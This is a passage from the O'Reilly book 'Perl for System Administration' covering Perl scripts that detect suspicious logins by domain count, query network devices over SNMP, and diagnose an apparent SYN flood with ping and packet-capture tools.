    -f <domain>   count only foreign domains, specify home domain
    -l <command>: use <command> instead of default /usr/ucb/last
                  note: no output format checking is done!
    -m <#>:       max number of unique domains allowed, default 3
    -u <user>:    perform check for only this username
EOU
    exit;
}

First we parse the user's command-line arguments. The getopts line below will look at the arguments to the program and set $opt_<flag letter> appropriately. The colon after the letter means that option takes an argument:

use Getopt::Std;       # standard option processor
getopts('ihf:l:m:u:'); # parse user input

&usage if (defined $opt_h);

# number of unique domains before we complain
$maxdomains = (defined $opt_m) ? $opt_m : 3;

The following lines reflect the portability versus efficiency decision we discussed in the Chapter 9, "Log Files". Here we're opting to call an external program. If you wanted to make the program less portable and a little more efficient, you could use unpack( ) as discussed in that chapter:

$lastex = (defined $opt_l) ? $opt_l : "/usr/ucb/last";

open(LAST,"$lastex|") || die "Can't run the program $lastex:$!\n";

Before we get any further into the program, let's take a quick look at the hash of lists data structure this program uses as it processes the data from last. This hash will have a username as its key and a reference to a list of the unique domains that user has logged in from as its value.

For instance, a sample entry might be:

$userinfo { laf } = [ 'ccs.neu.edu', 'xerox.com', 'foobar.edu' ]

This entry shows the account laf has logged in from the ccs.neu.edu, xerox.com, and foobar.edu domains.

We begin by iterating over the input we get from last ; the output on our system looks like this:

cindy    pts/10   sinai.ccs.neu.ed  Fri Mar 27 13:51   still logged in
michael  pts/3    regulus.ccs.neu.  Fri Mar 27 13:51   still logged in
david    pts/5    fruity-pebbles.c  Fri Mar 27 13:48   still logged in
deborah  pts/5    grape-nuts.ccs.n  Fri Mar 27 11:43 - 11:53  (00:09)
barbara  pts/3    152.148.23.66     Fri Mar 27 10:48 - 13:20  (02:31)
jerry    pts/3    nat16.aspentec.c  Fri Mar 27 09:24 - 09:26  (00:01)

You'll notice that the hostnames (column 3) in our last output have truncated names. We've seen this hostname length restriction before in Chapter 9, "Log Files", but up until now we've sidestepped the challenge it represents. We'll stare danger right in the face in a moment when we start populating our data structure.

Early on in the while loop, we try to skip lines that contain cases we don't care about. In general it is a good idea to check for special cases like this at the beginning of your loops before any actual processing of the data (e.g., a split( )) takes place. This lets the program quickly identify when it can skip a particular line and continue reading input:

while (<LAST>){

    # ignore special users
    next if /^reboot\s|^shutdown\s|^ftp\s/;

    # if we've used -u to specify a specific user, skip all entries
    # that don't pertain to this user (whose name is stored in $opt_u
    # by getopts for us).
    next if (defined $opt_u && !/^$opt_u\s/);

    # ignore X console logins
    next if /:0\s+:0/;

    # find the user's name, tty, and remote hostname
    ($user, $tty,$host) = split;

    # ignore if the log had a bad username after parsing
    next if (length($user) < 2);

    # ignore if no domain name info in name
    next if $host !~ /\./;

    # find the domain name of this host (see explanation below)
    $dn = &domain($host);

    # ignore if you get a bogus domain name
    next if (length ($dn) < 2);

    # ignore this input line if it is in the home domain as specified
    # by the -f switch
    next if (defined $opt_f && ($dn =~ /^$opt_f/));

    # if we've never seen this user before, simply create a list with
    # the user's domain and store this in the hash of lists.
    unless (exists $userinfo{$user}){
       $userinfo{$user} = [$dn];
    }
    # otherwise, this can be a bit hairy; see the explanation below
    else {
      &AddToInfo($user,$dn);
   }
}
close(LAST);

Now let's take a look at the individual subroutines that handle the tricky parts of this program. Our first subroutine, &domain( ), takes a Fully Qualified Domain Name (FQDN), i.e., a hostname with the full domain name attached, and returns its best guess at the domain name of that host. It has to be a little smart for two reasons:

  1. Not all hostnames in the logs will be actual names. They may be simple IP addresses. In this case, if the user has set the -i switch, we assume any IP address we get is a class C network subnetted on the standard byte boundary. In practical terms this means that we treat the first three octets as the "domain name" of the host. This allows us to treat logins from 192.168.1.10 as coming from the same logical source as logins from 192.168.1.12. This may not be the best of assumptions, but it is the best we can do without consulting another source of information (and it works most of the time). If the user does not use the -i switch, we treat the entire IP address as the domain of record.

  2. As mentioned before, the hostnames may be truncated. This leaves us to deal with partial entries like grape-nuts.ccs.n and nat16.aspentec.c. This is not as bad as it might sound, since each host will have its FQDN truncated at the same point every time it is stored in the log. We attempt to work around this restriction as best we can in the &AddToInfo( ) subroutine we'll discuss in a moment.

Back to the code:

# take a FQDN and attempt to return FQD
sub domain{
    # look for IP addresses
    if ($_[0] =~ /^\d+\.\d+\.\d+\.\d+$/) {

        # if the user did not use -i, simply return the IP address as is
        unless (defined $opt_i){
            return $_[0];
        }

        # otherwise, return everything but the last octet
        else {
            $_[0] =~ /(.*)\.\d+$/;
            return $1;
        }
    }

    # if we are not dealing with an IP address
    else {
        # downcase the info to make later processing simpler and quicker
         $_[0] = lc($_[0]);

        # then return everything after first dot
        $_[0] =~ /^[^.]+\.(.*)/;
        return $1;
    }
}

This next subroutine, short as it is, encapsulates the hardest part of this program. Our &AddToInfo( ) subroutine has to deal with truncated hostnames and the storing of information into our hash table. We're going to use a substring matching technique that you may find useful in other contexts.

In this case, we'd really like all of the following domain names to be treated and stored as the same domain name in our array of unique domains for a user:

ccs.neu.edu
    ccs.neu.ed
    ccs.n

When the uniqueness of a domain name is in question, we check three things:

  1. Is this domain name an exact match of anything we have stored for this user?

  2. Is this domain name a substring of already stored data?

  3. Is the stored domain data a substring of the domain name we are checking?

If any of these are the case, we don't need to add a new entry to our data structure because we already have a substring equivalent stored in the user's domain list. If case #3 is true, we'll want to replace the stored data entry with our current entry, assuring we've stored the largest string possible. Astute readers will also note that cases #1 and #2 can be checked simultaneously since an exact match is equivalent to a substring match where all the characters match.

If all of these cases are false, we do need to store the new entry. Let's take a look at the code first and then talk about how it works:

sub AddToInfo{
    my($user, $dn) = @_;

    for (@{$userinfo{$user}}){

      # case #1 & #2 from above: is this either exact or substring match?
      return if (index($_,$dn) > -1);

      # check case #3 from above, i.e. is the stored domain data
      # a substring of the domain name we are checking?
      if (index($dn,$_) > -1){
        $_ = $dn; # swap current & stored values
        return;
      }
    }

    # otherwise, this is a new domain, add it to the list
    push @{$userinfo{$user}}, $dn;
}

@{$userinfo{$user}} returns the list of domains we've stored for the specified user. We iterate over each item in this list to see if $dn can be found in any item. If it can, we have a substring equivalent already stored, so we exit the subroutine.

If we pass this test, we look for case #3 above. Each entry in the list is checked to see if it can be found in our current domain. If it is a match, we overwrite the list entry with the current domain data, thus storing the larger of the two strings. This happens even when there is an exact match, since it does no harm. We overwrite the entry using a special property of the for and foreach Perl operators. Assigning to $_ in the middle of a for loop like this actually assigns to the current element of the list at that point in the loop. The loop variable becomes an alias for the list variable. If we've made this swap, we can leave the subroutine. If we pass all three tests, then the final line adds the domain name in question to the user's domain list.

That's it for the gory details of iterating over the file and building our data structure. To wrap this program up, let's run through all of the users we found and check how many unique domains each has logged into (i.e., the size of the list we've stored for each). For those entries that have more domains than our comfort level, we print the contents of their entry:

for (sort keys %userinfo){
    if ($#{$userinfo{$_}} > $maxdomains){
         print "\n\n$_ has logged in from:\n";
         print join("\n",sort @{$userinfo{$_}});
    }
}
print "\n";

Now that you've seen the code, you might wonder if this approach really works. Here's some real sample output of our program for a user who had her password sniffed at another site:

username has logged in from:
38.254.131
bu.edu
ccs.neu.ed
dac.neu.ed
hials.no
ipt.a
tnt1.bos1
tnt1.bost
tnt1.dia
tnt2.bos
tnt3.bos
tnt4.bo
toronto4.di

Some of these entries look normal for a user in the Boston area. However, the toronto4.di entry is a bit suspect and the hials.no site is in Norway. Busted!

This program could be further refined to include the element of time or correlations with another log file like that from tcpwrappers. But as you can see, pattern detection is often very useful by itself.

Previous | Home | Next
10.1. Noticing Unexpected or Unauthorized Changes | Book Index | 10.3. SNMP
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


SNMP (Perl for System Administration)

 Perl for System AdministrationSearch this book

10.3. SNMP

Let's move away from security and towards more general monitoring topics. In the previous section we looked at a method for monitoring a specific network service. The Simple Network Management Protocol (SNMP) takes a quantum leap forward by offering a general way to remotely monitor and configure network devices and networked computers. Once you master the basics of SNMP, you can use it to keep tabs on (and often configure) practically every device on your network.

Truth be told, the Simple Network Management Protocol isn't particularly simple. There's a respectable learning curve associated with this subject. If you aren't already familiar with SNMP, see Appendix E, "The Twenty-Minute SNMP Tutorial", for a tutorial on it.

10.3.1. Using SNMP from Perl

One way we could use SNMP from Perl is to call command-line programs like the UCD-SNMP ones used for demonstration purposes in Appendix E, "The Twenty-Minute SNMP Tutorial". It would be a straightforward process, no different any of the examples of calling external programs we've seen earlier in this book. Since there's nothing new to learn there, we won't spend any time with this technique. I will offer one caveat: if you are using SNMPv1 or SNMPv2C, chances are you'll have to put the community name on the command line. If this program runs on a multiuser box, anyone who can list the process table may be able to see this community name and steal the keys to the kingdom. This threat is present in our command-line examples in Appendix E, "The Twenty-Minute SNMP Tutorial", but it becomes more acute with automated programs that repeatedly make external program calls like this. For demonstration purposes only, the following examples also take the target hostname and community name string on the command line. You should change that for production code.

If we don't call an external program to perform SNMP operations from Perl, our other choice is to use a Perl SNMP module. There are at least three separate but similar modules available: Net::SNMP by David M. Town, SNMP_Session.pm written by Simon Leinen, and the "SNMP Extension Module v3.1.0 for the UCD SNMPv3 Library" (which we'll call just call SNMP because of the way it is loaded) by G.S. Marzot. All of these modules implement SNMPv1. Net::SNMP and SNMP offer some SNMPv2 support. Only SNMP offers any SNMPv3 support.

The most significant difference between these three modules besides their level of SNMP support is their reliance on libraries external to the core Perl distribution. The first two (Net::SNMP and SNMP_Session.pm) are implemented in Perl alone, while SNMP needs to be linked against a separate pre-built UCD-SNMP library. The main drawback to using SNMP is this added dependency and build step (presuming you can build the UCD-SNMP library on your platform).

The plus side of depending on the UCD-SNMP library is the extra power it provides to the module. For instance, SNMP can parse Management Information Base (MIB) description files and print raw SNMP packet dumps for debugging, two functions the other modules do not provide. There are other modules that can help reduce this disparity in functionality (for instance, SNMP::MIB::Compiler by Fabien Tassin can handle MIB parsing tasks), but if you are looking for one module to do the whole job, SNMP is your best bet.

Let's start with a small Perl example. If we need to know the number of interfaces a particular device has, we could query the interfaces.ifNumber variable. Using Net::SNMP, it is this easy:

use Net::SNMP;

# requires a hostname and a community string as its arguments
($session,$error) = Net::SNMP->session(Hostname => $ARGV[0],
                                       Community => $ARGV[1]);

die "session error: $error" unless ($session);

# iso.org.dod.internet.mgmt.mib-2.interfaces.ifNumber.0 =
#   1.3.6.1.2.1.2.1.0
$result = $session->get_request("1.3.6.1.2.1.2.1.0");

die "request error: ".$session->error unless (defined $result);

$session->close;

print "Number of interfaces: ".$result->{"1.3.6.1.2.1.2.1.0"}."\n";

When pointed at a workstation with an Ethernet and a loopback interface, it will print Numberofinterfaces:2; a laptop with Ethernet, loopback, and PPP interfaces returns Number of interfaces: 3; and a small router returns Number of interfaces: 7.

One key thing to notice is the use of Object Identifiers (OIDs) instead of variable names. Both Net::SNMP and SNMP_Session.pm handle SNMP protocol interactions only. They make no pretense of handling the peripheral SNMP-related tasks like parsing SNMP MIB descriptions. For this functionality you will have to look to other modules such as SNMP::MIB::Compiler or SNMP_util.pm by Mike Mitchell for use with SNMP_Session.pm (not to be confused with SNMP::Util by Wayne Marquette, for use with the SNMP module).

If you want to use textual identifiers instead of numeric OIDs without coding in the mapping yourself or using an additional module, your only choice is to use the SNMP module, which has a built-in MIB parser. Let's do a table walk of the Address Resolution Protocol (ARP) table of a machine using this module:

use SNMP;

# requires a hostname and a community string as its arguments
$session = new SNMP::Session(DestHost => $ARGV[0], Community => $ARGV[1],
                             UseSprintValue => 1);

die "session creation error: $SNMP::Session::ErrorStr" unless
  (defined $session);

# set up the data structure for the getnext command
$vars = new SNMP::VarList(['ipNetToMediaNetAddress'],
                          ['ipNetToMediaPhysAddress']);

# get first row
($ip,$mac) = $session->getnext($vars);
die $session->{ErrorStr} if ($session->{ErrorStr});

# and all subsequent rows
while (!$session->{ErrorStr} and
       $$vars[0]->tag eq "ipNetToMediaNetAddress"){
    print "$ip -> $mac\n";
    ($ip,$mac) = $session->getnext($vars);
};

Here's an example of the output this produces:

192.168.1.70 -> 8:0:20:21:40:51
192.168.1.74 -> 8:0:20:76:7c:85
192.168.1.98 -> 0:c0:95:e0:5c:1c

This code looks similar to the previous Net::SNMP example. We'll walk through it to highlight the differences:

use SNMP;

$session = new SNMP::Session(DestHost => $ARGV[0], Community => $ARGV[1],
                             UseSprintValue => 1);

After loading the SNMP module, we create a session object just like we did in the Net::SNMP example. The additional UseSprintValue => 1 argument just tells the SNMP module to pretty-print the return values. If we didn't do this, the Ethernet addresses listed above would be printed in an encoded form.

# set up the data structure for the getnext command
$vars = new SNMP::VarList(['ipNetToMediaNetAddress'],
                          ['ipNetToMediaPhysAddress']);

SNMP is willing to use simple strings like sysDescr.0 with its commands, but it prefers to use a special object it calls a "Varbind." It uses these objects to store return values from queries. For example, the code we're looking at calls the getnext( ) method to send a get-next-request, just like in the IP route table example in Appendix E, "The Twenty-Minute SNMP Tutorial". Except this time, SNMP will store the returned indices in a Varbind for us so we don't have to keep track of them by hand. With this module, you can just hand the Varbind back to the getnext method each time you want the next value.

Varbinds are simply anonymous Perl arrays with four elements: obj, iid , val, and type. For our purposes, we only need to worry about obj and iid. The first element, obj, is the object you are querying. obj can be specified in one of several formats. In this case, we are using a leaf identifier format, i.e., specifying the leaf of the tree we are concerned with. IpNetToMediaNetAddress is the leaf of the tree:

.iso.org.dod.internet.mgmt.mib-2.ip.ipNetToMediaTable.ipNetToMediaEntry.ipNetToMediaNetAddress

The second element in a Varbind is the iid, or instance identifier. In our previous discussions, we've always used a 0 here (e.g., system.sysDescr.0), because we've only seen objects that have a single instance. Shortly we'll see examples where the iid can be something other than 0. For instance, later on we'll want to refer to a particular network interface on a multi-interface Ethernet switch. obj and iid are the only two parts of a Varbind you need to specify for a get. getnext does not need an iid since it will return the next instance by default.

The line of code above uses VarList( ), which creates a list of two Varbinds, each with just the obj element filled in. We feed this list to the getnext( ) method:

# get first row
($ip,$mac) = $session->getnext($vars);
die $session->{ErrorStr} if ($session->{ErrorStr});

getnext( ) returns the values it received back from our request and updates the Varbind data structures accordingly. Now it is just a matter of calling getnext( ) until we fall off the end of the table:

while (!$session->{ErrorStr} and
       $$vars[0]->tag eq "ipNetToMediaNetAddress"){
        print "$ip -> $mac\n";
       ($ip,$mac) = $session->getnext($vars);
};

For our final SNMP example, let's return to the world of security. We'll pick a task that would be tricky, or at least annoying, to do well with the command-line SNMP utilities.

Here's the scenario: you've been asked to track down a misbehaving user on your switched Ethernet network. The only info you have is the Ethernet address of the machine that user is on. It's not an Ethernet address you have on file (which could be kept in our host database from Chapter 5, "TCP/IP Name Services" if we extended it), and you can't sniff your switched net, so you are going to have to be a little bit clever about tracking this machine down. Your best bet in this case may be to ask one or all of your Ethernet switches if they've seen that address on one of their ports.

Just to make this example more concrete so we can point at specific MIB variables, we'll say that your network consists of several Cisco Catalyst 5500 switches. The basic methodology we're going to use to solve this problem will apply to other products and other vendors as well. Any switch or vendor-specific information will be noted as we go along. Let's walk through this problem step by step.

As before, first we have to go search through the correct MIB module files. With a little jumpstart from Cisco's tech support, we realize we'll need to access four separate objects:

  • The vlanTable, found at enterprises.cisco.workgroup.ciscoStackMIB.vlanGrp in the CISCO-STACK-MIB description.

  • The dot1dTpFdbTable (transparent port forwarding table), found at dot1dBridge.dot1dTp in the RFC1493 BRIDGE-MIB description.

  • The dot1dBasePortTable, found at dot1dBridge.dot1dBase in the same RFC.

  • The ifXTable, found in the RFC1573 IF-MIB (Interfaces) description.

Why four different tables? Each table has a piece to contribute to the answer, but no one table has the specific information we seek. The first table provides us with a list of the VLANS (Virtual Local Area Networks), or virtual "network segments," on the switch. Cisco has chosen to keep separate tables for each VLAN on a switch, so we will need to query for information one VLAN at a time. More on this in a moment.

The second table provides us with a list of Ethernet addresses and the number of the switch's bridge port on which each address was last seen. Unfortunately, a bridge port number is an internal reckoning for the switch; it does not correspond to the name of a physical port on that switch. We need to know the physical port name, i.e., from which card and port the machine with that Ethernet address last spoke, so we have to dig further.

There is no table that maps bridge port to physical port name (that would be too easy), but the dot1dBasePortTable can provide a bridge port to interface number mapping. Once we have the interface number, we can look it up in ifXTable and retrieve the port name.

Figure 10-1 shows a picture of the four-layer deference necessary to perform our desired task.

Figure 10.1. The set of SNMP queries needed to find the port name on a Cisco 5000

Here's the code to put these four tables together to dump the information we need:

use SNMP;

# These are the extra MIB module files we need, found in the same
# directory as this script
$ENV{'MIBFILES'}=
  "CISCO-SMI.my:FDDI-SMT73-MIB.my:CISCO-STACK-MIB.my:BRIDGE-MIB.my";

# Connect and get the list of VLANs on this switch
$session = new SNMP::Session(DestHost => $ARGV[0],
                             Community => $ARGV[1]);
die "session creation error: $SNMP::Session::ErrorStr" unless
  (defined $session);

# enterprises.cisco.workgroup.ciscoStackMIB.vlanGrp.vlanTable.vlanEntry
# in CISCO-STACK-MIB
$vars = new SNMP::VarList(['vlanIndex']);

$vlan = $session->getnext($vars);
die $session->{ErrorStr} if ($session->{ErrorStr});

while (!$session->{ErrorStr} and $$vars[0]->tag eq "vlanIndex"){

    # VLANS 1000 and over are not "real" ON A CISCO CATALYST 5XXX
    # (this limit is likely to be different on different switches)
    push(@vlans,$vlan) if $vlan < 1000;

    $vlan = $session->getnext($vars);
};

undef $session,$vars;

# for each VLAN, query for the bridge port, the interface number
# associated with that port, and then the interface name for that
# port number
foreach $vlan (@vlans){
    # note our use of "community string indexing" as part
    # of the session setup
    $session = new SNMP::Session(DestHost => $ARGV[0],
                                 Community => $ARGV[1]."@".$vlan,
                                 UseSprintValue => 1);

    die "session creation error: $SNMP::Session::ErrorStr"
      unless (defined $session);

    # from transparent forwarding port table at
    # dot1dBridge.dot1dTp.dot1dTpFdbTable.dot1dTpFdbEntry
    # in RFC1493 BRIDGE-MIB
    $vars = new SNMP::VarList(['dot1dTpFdbAddress'],['dot1dTpFdbPort']);

    ($macaddr,$portnum) = $session->getnext($vars);
    die $session->{ErrorStr} if ($session->{ErrorStr});

    while (!$session->{ErrorStr} and
           $$vars[0]->tag eq "dot1dTpFdbAddress"){

        # dot1dBridge.dot1dBase.dot1dBasePortTable.dot1dBasePortEntry
        # in RFC1493 BRIDGE-MIB
        $ifnum =
          (exists $ifnum{$portnum}) ? $ifnum{$portnum} :
            ($ifnum{$portnum} =
               $session->get("dot1dBasePortIfIndex\.$portnum"));

        # from ifMIB.ifMIBObjects.ifXTable.ifXEntry in RFC1573 IF-MIB
        $portname =
          (exists $portname{$ifnum}) ? $portname{$ifnum} :
            ($portname{$ifnum}=$session->get("ifName\.$ifnum"));

        print "$macaddr on VLAN $vlan at $portname\n";

        ($macaddr,$portnum) = $session->getnext($vars);
    };

    undef $session, $vars, %ifnum, %portname;
}

If you've read Appendix E, "The Twenty-Minute SNMP Tutorial", most of this code will look familiar. Here are some comments on the new stuff:

$ENV{'MIBFILES'}=
  "CISCO-SMI.my:FDDI-SMT73-MIB.my:CISCO-STACK-MIB.my:BRIDGE-MIB.my";

This code sets the MIBFILES environment variable for the UCD-SNMP package library. When set, this variable instructs the library to parse the listed set of additional files for MIB object definitions. The only strange MIB module file in that list is FDDI-SMT73-MIB.my. This is included because CISCO-STACK-MIB.my has the following statement at the top to include certain definitions from other MIB entries:

IMPORTS
        MODULE-IDENTITY, OBJECT-TYPE, Integer32, IpAddress, TimeTicks,
        Counter32, Counter64, NOTIFICATION-TYPE
                FROM SNMPv2-SMI
        DisplayString, RowStatus
                FROM SNMPv2-TC
        fddimibPORTSMTIndex, fddimibPORTIndex
                FROM FDDI-SMT73-MIB
        OwnerString
                FROM IF-MIB
        MODULE-COMPLIANCE, OBJECT-GROUP
                FROM SNMPv2-CONF
        workgroup
                FROM CISCO-SMI;

Even though we don't reference any objects that use fddimibPORTSMTIndex or fddimibPORTIndex, we still (by choice) include that file in the file list to keep the MIB parser from complaining. All of the other MIB definitions in this IMPORTS statement are included either in our parse list or the library's default list. You often need to look for the IMPORTS section of a MIB module to see that module's dependencies when going MIB groveling.

Moving on in our code, here's another strange statement:

$session = new SNMP::Session(DestHost => $ARGV[0],
                             Community => $ARGV[1]."@".$vlan,
                             UseSprintValue => 1);

Instead of just passing on the community name as provided by the user, we're appending something of the form @VLAN-NUMBER. In Cisco parlance, this is "community string indexing." When dealing with VLANs and bridging, Cisco devices keep track of several "instances" of the MIB, one for each VLAN. Our code makes the same queries once per each VLAN found on the switch:

$ifnum =
         (exists $ifnum{$portnum}) ? $ifnum{$portnum} :
            ($ifnum{$portnum} =
                $session->get("dot1dBasePortIfIndex\.$portnum"));

Two comments on this piece of code. First, for variety's sake, we're using a simple string argument to get( ). We could easily have used something more Varbind-ish:

($ifnum{$portnum}=$session->get(['dot1dBasePortIfIndex',$portnum]));

Second, note that we're doing some very simple caching here. Before we actually perform a get( ), we look in a simple hash table (%ifnum) to see if we've already made this query. If we haven't, we make the query and populate the hash table with the result. At the end of each VLAN pass, we delete the cache hash (undef%ifnum) to prevent previous VLAN information from providing false information.

This is a good technique to remember when programming SNMP code. It is important to query as little and as seldom as possible if you want to be kind to your network and network devices. A device may have to take horsepower away from its usual tasks to respond to your slew of queries if you are not prudent.

Here's an excerpt from our code in action:

"00 10 1F 2D F8 FB " on VLAN 1 at 1/1
"00 10 1F 2D F8 FD " on VLAN 1 at 1/1
"08 00 36 8B A9 03 " on VLAN 115 at 2/18
"08 00 36 BA 16 03 " on VLAN 115 at 2/3
"08 00 36 D1 CB 03 " on VLAN 115 at 2/15

It's not hard to see how this program could be enhanced. Besides prettier or more orderly output, it could save state between runs. Each time it ran, the program could let you know how things have changed: new addresses appearing, ports being changed, etc. One quick caveat: most switches are of the "learning" variety, so they will age out entries for addresses that they haven't heard from in a while. This just means that your program will need to run at least as often as the standard port aging time.

Previous | Home | Next
10.2. Noticing Suspicious Activities | Book Index | 10.4. Danger on the Wire
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Danger on the Wire (Perl for System Administration)

 Perl for System AdministrationSearch this book

10.4. Danger on the Wire

SNMP is good for proactive monitoring (and some reactive monitoring situations when using SNMP traps), but it doesn't always help with unplanned situations like network emergencies. In these situations, you may need to monitor the network in ways that are not covered by the available SNMP variables.

10.4.1. Perl Saves the Day

Here's a true story that shows how Perl can help in these times. One Saturday evening I casually logged into a machine on my network to read my email. Much to my surprise, I found our mail and web servers near death and fading fast. Attempts to read and send mail or look at web content yielded slow responses, hung connections, and outright connection failures. Our mail queue was starting to reach critical mass.

I looked first at the state of the servers. Interactive response was fine, and the CPU load was high, but not deadly. One sign of trouble was the number of mail processes running. According to the mail logs, there were more processes running than expected because many transactions were not completing. Processes that had started up to handle incoming connections from the outside were hanging, driving up the load. This load was then capping any new outgoing connections from initiating. This strange network behavior led me to examine the current connection table of the server using netstat.

The last column of the netstat output told me that there were indeed many connections in progress on that machine from many different hosts. The big shocker was the state of those connections. Instead of looking like this:

tcp    0      0  mailhub.3322    mail.mel.aone.ne.smtp  ESTABLISHED
tcp    0      0  mailhub.3320    edunet.edunet.dk.smtp  CLOSE_WAIT
tcp    0      0  mailhub.1723    kraken.mvnet.wne.smtp  ESTABLISHED
tcp    0      0  mailhub.1709    plover.net.bridg.smtp  CLOSE_WAIT

they looked more like this:

tcp    0      0  mailhub.3322    mail.mel.aone.ne.smtp  SYN_RCVD
tcp    0      0  mailhub.3320    edunet.edunet.dk.smtp  SYN_RCVD
tcp    0      0  mailhub.1723    kraken.mvnet.wne.smtp  SYN_RCVD
tcp    0      0  mailhub.1709    plover.net.bridg.smtp  CLOSE_WAIT

At first, this looked like a classic Denial of Service attack called a SYN Flood or a SYN-ACK attack. To understand these attacks, we have to digress for a moment and talk a little bit about how the TCP/IP protocol works.

Every TCP/IP connection begins with a handshake between the participants. This little dance lets both the initiator and the recipient signal their readiness to enter into a conversation. The first step is taken by the initiating network entity. It sends a SYN (for SYNchronize) packet to the recipient. If the recipient wishes to talk, it will send back a SYN-ACK, an ACKnowledgment of the request, and record that a conversation is about to begin in its pending connection table. The initiator then replies to the SYN-ACK with an ACK packet, confirming the SYN-ACK was heard. The recipient hears the ACK, removes the entry from its pending table, and away they go.

At least, that's what should happen. In a SYN Flood situation, a nogoodnik will send a flood of SYN packets to a machine, often with spoofed source addresses. The unsuspecting machine will send SYN-ACK s to the spoofed source addresses and open an entry in its pending communication table for each SYN packet it has received. These bogus connection entries will stay in the pending table until the OS ages them out using some default timeout value. If enough packets are sent, the pending communication table will fill up and no legitimate connection attempts will succeed. This leads to symptoms like those I was experiencing at the time, and similar netstat output.

The one anomaly in the netstat output that made me question this diagnosis was the variety of hosts represented in the table. It was possible that someone had a program with superb spoofing capabilities, but you usually expect to see many connections from a smaller set of bogus hosts. Many of these hosts also seemed perfectly legitimate. Further clouding the situation was the result of a few connectivity tests I ran. Sometimes I could ping or traceroute to a randomly selected host listed in my netstat output, sometimes I couldn't. I needed more data. I needed to get a better grasp on the connectivity to these remote hosts. That's where Perl came in.

Because I was writing code under the gun, I wrote a very simple script that relied on the output of two other external network programs to handle the hard parts of the task. Let me show you that version, and then we'll use this task as a springboard for some more advanced programming.

The task in this case boiled down to one question: could I reach the hosts that appeared to be trying to connect to me? To find out which hosts were trying to contact my machine, I turned to a program called clog written by Brian Mitchell, found at ftp://coast.cs.purdue.edu/pub/mirrors/ftp.saturn.net/clog. clog uses the Unix libpcap library from Lawrence Berkeley National Laboratory's Network Research Group to sniff the network for TCP connection requests, i.e., SYN packets. This is the same library used by the seminal network monitoring program tcpdump. Found at ftp://ftp.ee.lbl.gov/libpcap.tar.Z, libpcap works for Linux machines as well. A libpcap port for NT/2000 can be found at http://netgroup-serv.polito.it/windump/or http://www.ntop.org/libpcap.html, but I have yet to see one for MacOS.

clog reports SYN packets like this:

Mar 02 11:21|192.168.1.51|1074|192.168.1.104|113
Mar 02 11:21|192.168.1.51|1094|192.168.1.104|23

The output above shows two connection requests from 192.168.1.51 to 192.168.1.104. The first was an attempt to connect to port 113 (ident), the second to port 23 (telnet).

With clog I was able to learn which hosts were attempting connections to me. And now I needed to know whether I could also reach them. That task was left to a program called fping by Roland J. Schemers III. fping, which can be found at http://www.stanford.edu/~schemers/docs/fping/fping.html, is a fast and fancy ping program for testing network connectivity on Unix and variants. Putting these external commands together, we get this little Perl program:

$clogex   = "/usr/local/bin/clog";      # location/switches for clog
$fpingex  = "/usr/local/bin/fping -r1"; # location/switches for fping

$localnet = "192.168.1";                # local network prefix

open CLOG, "$clogex|" or die "Unable to run clog:$!\n";
while(<CLOG>){
    ($date,$orighost,$origport,$desthost,$destport) = split(/\|/);
    next if ($orighost =~ /^$localnet/);
    next if (exists $cache{$orighost});
    print `$fpingex $orighost`;
    $cache{$orighost}=1;
}

This program runs the clog command and reads its output ad infinitum. Since our internal network connectivity wasn't suspect, each originating host is checked against our local network's addressing prefix. Traffic from our local network is ignored.

Like our last SNMP example, we perform some rudimentary caching. To be a good net citizen we want to avoid hammering outside machines with multiple ping packets, so we keep track of every host we've already queried. The -r1 flag to fping is used to restrict the number of times fping will retry a host (the default is three retries).

This program has to be run with elevated privileges, since both clog and fping need privileged access to the computer's network interface. This program printed output like this:

199.174.175.99 is unreachable
128.148.157.143 is unreachable
204.241.60.5 is alive
199.2.26.116 is unreachable
199.172.62.5 is unreachable
130.111.39.100 is alive
207.70.7.25 is unreachable
198.214.63.11 is alive
129.186.1.10 is alive

Clearly something fishy was going on here. Why would half of the sites be reachable, and the other half unreachable? Before we answer that question, let's look at what we could do to improve this program. A first step would be to remove the external program dependencies. Learning how to sniff the network and send ping packets from Perl could open up a whole range of possibilities. Let's take care of removing the easy dependency first.

The Net::Ping module by Russell Mosemann, found in the Perl distribution, can help us with testing connectivity to network hosts. Net::Ping allows us to send three different flavors of ping packets and check for a return response: ICMP, TCP, and UDP. Internet Control Message Protocol (ICMP) echo packets are "ping classic," the kind of packet sent by the vast majority of the command-line ping programs. This particular packet flavor has two disadvantages:

  1. Like our previous clog /fping code, any Net::Ping scripts using ICMP need to be run with elevated privileges.

  2. Perl on MacOS does not currently support ICMP. This may be remedied in the future, but you should be aware of this portability constraint.

The other two choices for Net::Ping packets are TCP and UDP. Both of these choices send packets to a remote machine's echo service port. Using these two options gains you portability, but you may find them less reliable than ICMP. ICMP is built into all standard TCP/IP stacks, but all machines may not be running the echo service. As a result, unless ICMP is deliberately filtered, you are more likely to receive a response to an ICMP packet than to the other types.

Net::Ping uses the standard object-oriented programming model, so the first step is the creation of a new ping object instance:

use Net::Ping;
$p = new Net::Ping("icmp");

Using this object is simple:

if ($p->ping("host")){
    print "ping succeeded.\n";
else{
    print "ping failed\n";
}

Now let's dig into the hard part of our initial script, the network sniffing handled by clog. Unfortunately, at this point we may need to let our MacOS readers off the bus. The Perl code we are about to explore is tied to the libpcap library we mentioned earlier, so using it on anything but a Unix variant may be dicey or impossible.

The first step is to build libpcap on your machine. I recommend you also build tcpdump as well. Like our use of the UCD-SNMP command-line utilities earlier, tcpdump can be used to explore libpcap functionality before coding Perl or to double-check that code.

With libpcap built, it is easy to build the Net::Pcap module, originally by Peter Lister and later completely rewritten by Tim Potter. This module gives full access to the power of libpcap. Let's see how we can use it to find SYN packets, &#224; la clog.

Our code begins by querying the machine for an available/sniffable network interface and the settings for that interface:

use Net::Pcap;

# find the sniffable network device
$dev = Net::Pcap::lookupdev(\$err) ;
die "can't find suitable device: $err\n" unless $dev;

# figure out the network number and mask of that device
die "can't figure out net info for dev:$err\n"
  if (Net::Pcap::lookupnet($dev,\$netnum,\$netmask,\$err));

Most of the libpcap functions use the C convention of returning 0 for success, or -1 for failure, hence the die if . . . idiom is used often in Net::Pcap Perl code. The meaning of the arguments fed to each of the functions we'll be using can be found in the pcap(3) manual page.

Given the network interface information, we can tell libpcap we want to sniff the live network (as opposed to reading packets from a previously saved packet file). Net::Pcap::open_live will hand us back a packet capture descriptor to refer to this session:

# open that interface for live capture
$descript = Net::Pcap::open_live($dev,100,1,1000,\$err) ;
die "can't obtain pcap descriptor:$err\n" unless $descript;
